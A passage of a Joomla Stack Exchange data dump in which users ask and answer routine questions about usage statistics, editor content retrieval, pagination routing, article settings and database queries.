  <row Id="1059" PostTypeId="1" AcceptedAnswerId="1060" CreationDate="2014-05-29T12:08:09.090" Score="10" ViewCount="1006" Body="&lt;p&gt;I'm interested in accessing accurate Joomla statistics such as the number of sites currently using Joomla cms and/or the Joomla framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where I can find this type of information?&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-05-31T00:20:16.157" LastActivityDate="2019-09-07T04:01:44.883" Title="Where can I find Joomla usage statistics?" Tags="|cms|joomla-framework-1.x|statistics|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1060" PostTypeId="2" ParentId="1059" CreationDate="2014-05-29T12:13:24.023" Score="9" Body="&lt;p&gt;This is the only resource I could find that had report that are updated daily:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://w3techs.com/technologies/details/cm-joomla/all/all&quot;&gt;http://w3techs.com/technologies/details/cm-joomla/all/all&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also shows the percentages of different versions used too which comes in handy. Unfortunately this only refers to the CMS, not the framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other resources I found are blog posts that are over a year old and as everyone knows, a lot can change in a year(+).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-29T12:13:24.023" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1064" PostTypeId="1" AcceptedAnswerId="1072" CreationDate="2014-05-29T17:21:36.243" Score="7" ViewCount="1781" Body="&lt;p&gt;I have a page that allows the user to edit the intro text of a particular article, and I'm using this code to allow them to do so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$editor = &amp;amp; JFactory::getEditor();&#xA;$params = array('smilies'=&amp;gt; '0' ,'style'  =&amp;gt; '0' ,'layer'  =&amp;gt; '0' ,'table'  =&amp;gt; '0' ,'clear_entities'=&amp;gt;'0');&#xA;echo $editor-&amp;gt;display('introtext',$this-&amp;gt;introtext  , '96%', '100px', 250, 40, false, null, null, null, $params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I go to save the changes with jQuery/AJAX, I am only able to access the original HTML that the editor was initialized with.  I used TinyMCE editor while developing, but the users prefer JCE, so editor specific answers found with Google don't do the trick for me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one get to the &lt;em&gt;edited&lt;/em&gt; text that the user wants to save, in order to be posted?  I had assumed that this, or similar, would work, but clearly it doesn't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var newHTML = $('#introtext').val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2018-08-07T16:20:18.653" Title="How to retrieve the CHANGED text from Joomla Editor?" Tags="|joomla-3.x|jquery|editor|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1065" PostTypeId="2" ParentId="1064" CreationDate="2014-05-29T22:46:07.963" Score="1" Body="&lt;p&gt;There is no method that I'm aware of, you'll have to store the original text and then do a comparison on submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details, so generally the Editor is set on a Global level but users can choose to alter their profile to select their preferred editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.x+ era loads the Editor using a &lt;code&gt;JFormFieldEditor&lt;/code&gt; which load the selected editor. The user makes changes in the editor but as you've noted they are not reflected to the field immediately. e.g. in an article that would be the &lt;code&gt;#jform_articletext&lt;/code&gt; element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for most editors by time the item is saved, the form element &lt;code&gt;jform[articletext]&lt;/code&gt; has the updated content. (This doesn't seem to apply to the AJAX editors I've seen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just speculating here, but I imagine they (the editors) attach a &lt;code&gt;submit&lt;/code&gt; event to the main form and inject their contents into the field at that point. The other place you could check is the &quot;Toggle Editor&quot; link that JCE and TinyMCE have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an Article, TinyMCE has this &lt;em&gt;click&lt;/em&gt; event trigger attached to the &quot;Toggle Editor&quot; button:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onclick(event) {&#xA;    tinyMCE.execCommand('mceToggleEditor', false, 'jform_articletext');&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which causes the editors content to be flushed to the field &lt;code&gt;#jform_articletext&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach may be to send a &lt;code&gt;submit&lt;/code&gt; event to the active editor hopefully causing it to update the field with the changed text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that each editor could implement handling the &lt;code&gt;submit&lt;/code&gt; in a different way and not all of them have MCE's &quot;Toggle Editor&quot; button, you may have to build a special case for each editor you want to support.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-05-30T03:19:49.713" LastActivityDate="2014-05-30T03:19:49.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1066" PostTypeId="2" ParentId="919" CreationDate="2014-05-29T23:10:03.867" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://jeffchannell.com/Joomla/load-the-joomla-framework-in-a-non-joomla-php-script.html&quot; rel=&quot;nofollow&quot;&gt;http://jeffchannell.com/Joomla/load-the-joomla-framework-in-a-non-joomla-php-script.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the above technique you can create an ajax.php file in the root directory and use the Joomla API's to call the data yourself from the database, then convert to JSON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow you to possibly use the k2 helpers to assist with it. Calling the database like this should only be used if you need a high level of customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;betweenbrian makes a good point with this link &lt;a href=&quot;http://getk2.org/blog/786-k2-v257-released-introduces-json-jsonp-content-output&quot; rel=&quot;nofollow&quot;&gt;http://getk2.org/blog/786-k2-v257-released-introduces-json-jsonp-content-output&lt;/a&gt; in that if k2 supports JSON, and it retrieves the data you need its probably perfect for what you need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;com_ajax does also come to mind, however it was built for modules/plugins. k2 itself is a component so it probably will not work as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in conclusion there is no &quot;special Joomla&quot; way to handle ajax, but there are many possibilities to get what you need done.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-05-29T23:10:03.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1067" PostTypeId="1" CreationDate="2014-05-30T01:50:24.467" Score="2" ViewCount="1140" Body="&lt;p&gt;I'm having trouble with the global option settings for articles in Joomla 3.3. I can set the global value for, say, displaying an email link beside an article, but the article-specific options that should override it don't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means I can display an email icon for every article, or for none. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a work-around or whether an upcoming maintenance release might fix it?&lt;/p&gt;&#xA;" OwnerDisplayName="user469" LastEditorUserId="115" LastEditDate="2014-05-30T20:53:27.973" LastActivityDate="2014-05-30T20:53:27.973" Title="Cannot override global article settings" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1068" PostTypeId="2" ParentId="1067" CreationDate="2014-05-30T07:58:32.190" Score="1" Body="&lt;p&gt;It works, just not the way you expect it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect you're using the &quot;Single Article&quot; menu item to display an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Single Article&quot; menu item contains it's own options for displaying, for example, the email link, these override everything else.  The only options are Use Global, Show, Hide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Category Blog&quot; and &quot;Featured Articles&quot; menu items on the other hand, contain an additional option, &quot;Use Article Settings&quot;.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-05-30T07:58:32.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1069" PostTypeId="2" ParentId="1059" CreationDate="2014-05-30T11:25:45.313" Score="8" Body="&lt;p&gt;There are also these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://trends.builtwith.com/cms&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://trends.builtwith.com/cms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://trends.builtwith.com/cms/Joomla!&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://trends.builtwith.com/cms/Joomla!&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The change in market share is considerable when the results are filtered to the top 1 million, top 100k and top 10k websites, especially with Drupal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that a free WordPress website can be created in seconds, and this is not something that can currently be done with Joomla or Drupal, I suspect many of the counted WordPress websites are abandoned and that this skews the statistics unfairly in favour of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Jan 2015 Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just discovered datanyze.com which shows (for example) installed CMS usage at: &lt;a href=&quot;https://www.datanyze.com/market-share/wcms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.datanyze.com/market-share/wcms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Datanyze also tracks wordpress.org and wordpress.com separately which is quite revealing compared to counting these as just &quot;WordPress&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;March 2016 Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the release of Joomla 3.5.0, website owners can opt to contribute usage statistics centrally. These are available at &lt;a href=&quot;https://developer.joomla.org/about/stats.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/about/stats.html&lt;/a&gt; and there is also a public API at &lt;a href=&quot;https://developer.joomla.org/about/stats/api.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/about/stats/api.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that this will only provide information about Joomla installs since the release of Joomla 3.5.0 as the feature is not included in earlier versions and obviously won't be counting the websites where the owners opted out of the option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;September 2019 Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just discovered similartech.com which shows various Joomla statistics at: &lt;a href=&quot;https://www.similartech.com/technologies/joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.similartech.com/technologies/joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T04:01:44.883" LastActivityDate="2019-09-07T04:01:44.883" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1070" PostTypeId="1" AcceptedAnswerId="1094" CreationDate="2014-05-30T13:47:37.800" Score="7" ViewCount="1237" Body="&lt;p&gt;i have a handful of Joomla sites that i manage ranging from version 1.5 all the way to the recent version, 3.3. whenever i go to share a link from one of my sites on Facebook (no matter what Joomla version), the thumbnail, title and description does not reflect the information contained on the page i want to share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have seen a lot of information regarding the use of open-graph (OG) meta tags, but i am not sure as to how to implement them into the Joomla structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any input would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="471" LastActivityDate="2014-06-02T03:43:40.107" Title="sharing Joomla URL on Facebook - editing picture, title and description" Tags="|joomla-user-groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1071" PostTypeId="2" ParentId="1070" CreationDate="2014-05-30T16:19:07.777" Score="4" Body="&lt;p&gt;I would first use Facebook's debugging tool: &lt;a href=&quot;https://developers.facebook.com/tools/debug&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/tools/debug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing is populating, these are possible causes:&#xA;1. GZip&#xA;2. Compression Tools in Template&#xA;3. 3rd Party Plugins (Rokbooster, JCH Optimize)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a newer Rockettheme template, look in the index.php as they have some meta OG tags pre-defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a good guide to open-graph (OG) meta tags if you want to add them to your template's index.php file:&#xA;&lt;a href=&quot;http://moz.com/blog/meta-data-templates-123&quot; rel=&quot;nofollow&quot;&gt;http://moz.com/blog/meta-data-templates-123&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2014-05-30T16:19:07.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1072" PostTypeId="2" ParentId="1064" CreationDate="2014-05-30T21:56:37.663" Score="3" Body="&lt;p&gt;If I remember it right, JCE uses an iframe for the content. Thus, you need to get a reference to the iframe first, then access the inner document of the iframe, which will provide the innerHTML as the text you are looking for. I did this once, but unfortunately I can't acces the code until Sunday. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would start with something like this (this is how I remember it, can't test it right now):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var iframe = document.getElementById('jform_articletext_ifr');&#xA;var innerDoc = iframe.contentDocument || iframe.contentWindow.document;&#xA;var currentText = innerDoc.innerHTML;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With currentText being the &quot;new&quot; text. &lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-05-30T21:56:37.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1073" PostTypeId="1" CreationDate="2014-05-30T23:14:08.497" Score="0" ViewCount="5698" Body="&lt;p&gt;In my component, I am using Joomla default pagination calling &lt;code&gt;$this-&amp;gt;pagination-&amp;gt;getPagesLinks()&lt;/code&gt; in the view template file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, my component url is like this at a certain point: &lt;code&gt;http://localhost/joomla/index.php/menu-item-name?cid=79&amp;amp;tid=3&lt;/code&gt; and when a page link is clicked, I want that url to omit the component related parameters (&lt;code&gt;cid=79&amp;amp;tid=3&lt;/code&gt;). So when going to the desired page, that url becomes &lt;code&gt;http://localhost/joomla/index.php/menu-item-name?start=2&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I achieve this? What pagination class functions can I override?  I could not find a way because if I override &lt;code&gt;getPagesLinks()&lt;/code&gt; in the JPagination class, it would not work because pagination links are generated from template's overridden files too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me in both Joomla 2.5 and 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &#xA;Ok, I implemented &lt;code&gt;router.php&lt;/code&gt;. In it's &lt;code&gt;build()&lt;/code&gt; function...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$segments[] = $query['cid'];&#xA;$segments[] = $query['tid'];&#xA;if (isset($query['start'])) {&#xA;    $segments[] = $query['start'];&#xA;    unset($query['start']);&#xA;}&#xA;unset($query['cid']);&#xA;unset($query['tid']);&#xA;unset($query['view']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the &lt;code&gt;parse()&lt;/code&gt; function...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars['view'] = 'category';&#xA;$vars['cid'] = $segments[0];&#xA;$vars['tid'] =  $segments[1];&#xA;$vars['start'] =  $segments[2];&#xA;return $vars;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when I load my component without any variables in the url, the next page link in pagination becomes &lt;code&gt;http://localhost/joomla3.3/menu-item-name/2&lt;/code&gt;, even when component has some variables in the url then the url look like &lt;code&gt;http://localhost/joomla3.3/menu-item-name/4/79/2&lt;/code&gt;. Both of these urls' last 2 is the pagination's page value (like &lt;code&gt;start=2&lt;/code&gt;), but when I click a page link, it's not going to next page but staying and loading some items in same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I make the pagination links work with router because I don't simply want &lt;code&gt;?start=2&lt;/code&gt; to be added to the end of the url.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="1520" LastEditDate="2018-06-24T14:30:45.903" LastActivityDate="2018-06-24T14:30:45.903" Title="How to override/customize pagination links?" Tags="|joomla-3.x|joomla-2.5|php|joomla-api|pagination|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1074" PostTypeId="2" ParentId="1073" CreationDate="2014-05-31T02:13:35.180" Score="1" Body="&lt;p&gt;It sounds like you don't have a &lt;code&gt;router.php&lt;/code&gt; for your extension to create the SEF URLs. If you look at the &lt;code&gt;JPagination&lt;/code&gt; class you'll see that it calls &lt;code&gt;JRoute::_()&lt;/code&gt; when it builds the links for the pagination elements, e.g.&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data-&amp;gt;start-&amp;gt;base = '0';&#xA;$data-&amp;gt;start-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=0');&#xA;$data-&amp;gt;previous-&amp;gt;base = $page;&#xA;$data-&amp;gt;previous-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $page);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://docs.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla Doc's&lt;/a&gt; website has an article that covers &quot;&lt;a href=&quot;http://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow&quot;&gt;Supporting SEF URLs in your component&lt;/a&gt;&quot; for Joomla 2.5+. There's also an article on &lt;a href=&quot;http://docs.joomla.org/Search_Engine_Friendly_URLs&quot; rel=&quot;nofollow&quot;&gt;SEF URL's&lt;/a&gt; in general for Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a new JRouter implementation in 3.3+ which is faster but I'm not sure if that affects implementation specifics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Here's &lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-general/kwdI7sGo1Qo&quot; rel=&quot;nofollow&quot;&gt;some details on the changes&lt;/a&gt; that were merged into J3.3&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-05-31T02:23:51.763" LastActivityDate="2014-05-31T02:23:51.763" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1076" PostTypeId="1" AcceptedAnswerId="2291" CreationDate="2014-05-31T11:24:14.383" Score="1" ViewCount="3663" Body="&lt;p&gt;Beside the parent category, I would like to recursively collect all of its child rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Pseudo code) &lt;code&gt;SELECT IDs FROM #_categories WHERE parent = father&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, &lt;code&gt;SELECT IDs WHERE the first part of path is the parent's path&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct? What will be the most efficient way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a standard method (probably in &lt;code&gt;ContentModelCategories&lt;/code&gt;) to achieve what I need? Should I use &lt;code&gt;ContentModelCategories::getItems(true)&lt;/code&gt;? How do I invoke it, given I already have the &quot;parent&quot; category ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A working example will be really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="322" LastEditorUserId="12352" LastEditDate="2019-06-10T14:09:18.743" LastActivityDate="2019-06-10T14:09:18.743" Title="How can I select the IDs of a category and all its (n levels) subcategories?" Tags="|development|jdatabase|jquery|sql|subcategories|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1077" PostTypeId="1" AcceptedAnswerId="1078" CreationDate="2014-05-31T15:36:47.670" Score="1" ViewCount="1023" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('username');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__selected_packages'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('username') . &quot; = &quot;. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;$row = $db-&amp;gt;loadrow();&#xA;print_r($row);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array (&#xA;    [0] =&amp;gt; any_username&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only displays one column, but according to Joomla Docs it should display the whole row somewhat like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array (&#xA;    [0] =&amp;gt; any_username&#xA;    [1] =&amp;gt; val_of_col1&#xA;    [2] =&amp;gt; val_of_col2&#xA;    [3] =&amp;gt; val_of_col3&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;Where am i &lt;strong&gt;wrong with the code&lt;/strong&gt;? &lt;/i&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, &lt;a href=&quot;https://joomla.stackexchange.com/q/1079/12352&quot;&gt;is there any way to display the row data in a HTML table?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="12352" LastEditDate="2019-02-01T21:51:14.407" LastActivityDate="2019-02-01T21:51:14.407" Title="Select returning only one row with one column" Tags="|joomla-3.x|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1078" PostTypeId="2" ParentId="1077" CreationDate="2014-05-31T15:39:27.213" Score="1" Body="&lt;p&gt;The reason being is because you are only selecting the username in your database query. So try changing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('username');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('*');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-31T15:39:27.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1079" PostTypeId="1" AcceptedAnswerId="1080" CreationDate="2014-05-31T15:49:46.223" Score="3" ViewCount="1730" Body="&lt;p&gt;I am performing a database query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__table_name'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('username') . &quot; = &quot;. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;$row = $db-&amp;gt;loadrow();&#xA;print_r($row); &amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output that I get looks somewhat like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Array ( [0] =&gt; any_username [1] =&gt; val_of_col1 [2] =&gt; val_of_col2 [3] =&gt; val_of_col3 )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to convert it into a &lt;strong&gt;HTML table?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="12352" LastEditDate="2019-01-31T02:45:19.217" LastActivityDate="2019-02-01T21:46:46.443" Title="How to print a single-row result set as a html table?" Tags="|joomla-3.x|jdatabase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1080" PostTypeId="2" ParentId="1079" CreationDate="2014-05-31T15:57:14.460" Score="10" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rows = $db-&amp;gt;loadrow();&#xA;&#xA;echo '&amp;lt;table&amp;gt;';&#xA;echo '&amp;lt;tr&amp;gt;';  &#xA;   foreach($rows as $row) {&#xA;       // display your results here&#xA;   }&#xA;echo '&amp;lt;/tr&amp;gt;';&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You first echo out the base table structure and then display your results&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-06-01T03:20:21.730" LastActivityDate="2014-06-01T03:20:21.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1082" PostTypeId="2" ParentId="1076" CreationDate="2014-05-31T23:15:46.010" Score="1" Body="&lt;p&gt;You could try using a subquery... Given that you know the id of your father category, and the alias is unique, you might want to try this idea (would need to convert it to PHP or SQL code with quotes and so on, of course):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id &#xA;FROM categories &#xA;WHERE path LIKE CONCAT(%,(SELECT alias FROM categories WHERE id = yourid),%) &#xA;AND WHERE id NOT IN &#xA;  (SELECT id &#xA;   FROM categories &#xA;   WHERE alias LIKE CONCAT(%,(SELECT alias FROM categories WHERE id = yourid))&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last part is to prevent the return of father categories of you father category. You might want to get the alias in a separate query to simplify this one and to avoid the second subquery (which is redundant as well). It is too late for me now to think about more efficient solutions, I'll leave that to the others. The result will probably not include the father category, but you already know the id of that one, right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: use the path instead of the alias&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id&#xA;FROM categories&#xA;WHERE path LIKE CONCAT(&#xA;  (SELECT path &#xA;   FROM categories&#xA;   WHERE id = yourid),%);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="384" LastEditorUserId="384" LastEditDate="2014-06-01T15:03:38.623" LastActivityDate="2014-06-01T15:03:38.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1083" PostTypeId="2" ParentId="858" CreationDate="2014-06-01T11:14:14.523" Score="1" Body="&lt;p&gt;Ended up making the 3 top level menus normal menus, redirecting to articles etc.&lt;br&gt;&#xA;Added a &quot;unlink&quot; class to those 3 top level menu items.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then added a custom jquery to prevent the links from working:&#xA;&lt;code&gt;jQuery('.unlink').click(function(e) {&#xA;    e.preventDefault();&#xA;    });&#xA;&lt;/code&gt;&#xA;This way, if someone manually enters the link to the address line there is content there to guide them through and at the same time menus are usable on mobile/touch devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got the code from here: &lt;a href=&quot;https://stackoverflow.com/questions/970388/jquery-disable-a-link&quot;&gt;https://stackoverflow.com/questions/970388/jquery-disable-a-link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="429" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-06-01T11:14:14.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1084" PostTypeId="1" CreationDate="2014-06-01T12:00:36.463" Score="3" ViewCount="1217" Body="&lt;p&gt;I am looking for an organised way to run joomla updates locally and then update production systems by means of code deployment + db migrations, so that i do not have to update joomla on production, or disable the site while running updates.&#xA;The current update component uses a specific function to run  sql updates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_joomlaupdate/models/default.php#L515&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_joomlaupdate/models/default.php#L515&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In finaliseUpgrade it looks like it is fetching/parsing some queries and applying them to the schema. If i understand this correctly it loops through the scripts/place holders in com_admin/sql/{DBType}/*.sql detecting all the new versions of sql files it has to run on the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with these scripts is that I do not see how i can use them as a migration tool for my production database as they are table prefixed and also I would much rather have a single consolidated migration script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you suggest if joomla actually writes the changes it performed somewhere in a migration file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logs/joomla_update.php file contains some traces of the changes but these are truncated as apparently it records only a few 